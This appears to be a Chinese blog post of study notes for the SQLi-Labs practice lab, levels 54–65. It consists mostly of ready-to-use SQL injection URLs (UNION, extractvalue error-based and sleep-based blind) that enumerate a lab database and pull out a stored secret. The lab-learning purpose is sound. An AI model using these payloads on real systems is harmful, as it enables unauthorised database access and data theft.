zoukankan      html  css  js  c++  java
  • sqli_labs学习笔记(一)Less-54~Less-65

    续上,开门见山


    暴库:

    http://43.247.91.228:84/Less-54/?id=-1' union select 1,2,database() --+

     

    challenges

    爆表:

    http://43.247.91.228:84/Less-54/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

     

    VYKE8MDNKB

    暴列:

    http://43.247.91.228:84/Less-54/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='VYKE8MDNKB' --+

     

    猜测secret_SXUW key

    暴值:

    http://43.247.91.228:84/Less-54/?id=-1' union select 1,2,group_concat(secret_SXUW) from challenges.VYKE8MDNKB --+


    思路同上54 ,只不过多一个括号?id=0) 次数为14

    爆表:

    http://43.247.91.228:84/Less-55/?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

     

    VYKE8MDNKB

    暴列:

    http://43.247.91.228:84/Less-55/?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='VYKE8MDNKB' --+

     

    secret_SXUW

    暴值:

    http://43.247.91.228:84/Less-55/?id=-1) union select 1,2,group_concat(secret_SXUW) from VYKE8MDNKB --+


    思路同上5455。只不过多一个单引号和括号?id=0’) 次数为14


    思路同上,只不过 id=”.$id.” 这里进行了双引号闭合 


    执行sql 语句后,并没有返回数据库当中的数据,所以我们这里不能使用 union 联合注入,这里使用报错注入。

    爆表:

    http://43.247.91.228:84/Less-58/?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

     

    EZ6LZXJARY

    暴列:

    http://43.247.91.228:84/Less-58/?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='EZ6LZXJARY'))) --+

     

    secret_B91Y

    暴值:

    http://43.247.91.228:84/Less-58/?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(secret_B91Y) from EZ6LZXJARY))) --+

     

    s4zRNgMzckNdj5E91NqvgYZx


    58,只不过没有单引号 


    59,只不过多了双引号和括号?id=0”) 


    同上,只不过多了两个括号和一个双引号?id=0’)) 


    此处union和报错注入都已经失效了,那我们就要使用延时注入了。

    ?id=1)and If(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=challenges),1,1))=79,0,sleep(10))+

    当正确的时候时间很短,当错误的时候时间大于 10 秒,此时可以利用脚本进行尝试。前面报错型盲注部分有完整代码


    同上62,只不过是单引号

    payload:?id=0%27and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=77,0,sleep(10))+

    正确时间短,错误时间长


    同上63,只不过是双括号

    payload:?id=0))and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=77,0,sleep(10))+

    正确时间短,错误时间长


    同上,只不过?id=1)

    payload:?id=1%22)and%20If(ascii(substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27),1,1))=79,0,sleep(10))+


      感谢看雪提供的学习平台

    sqli_labs完

  • 相关阅读:
    Insert Sort Singly List
    Binary Search Tree Iterator
    React的组件化
    React的虚拟DOM
    如何依靠代码提高网络性能
    读高性能JavaScript编程 第三章
    读高性能JavaScript编程 第二章 让我知道了代码为什么要这样写
    读高性能JavaScript编程 第一章
    固本培元之一:栈和堆
    学习笔记
  • 原文地址:https://www.cnblogs.com/joker-vip/p/12254301.html
Copyright © 2011-2022 走看看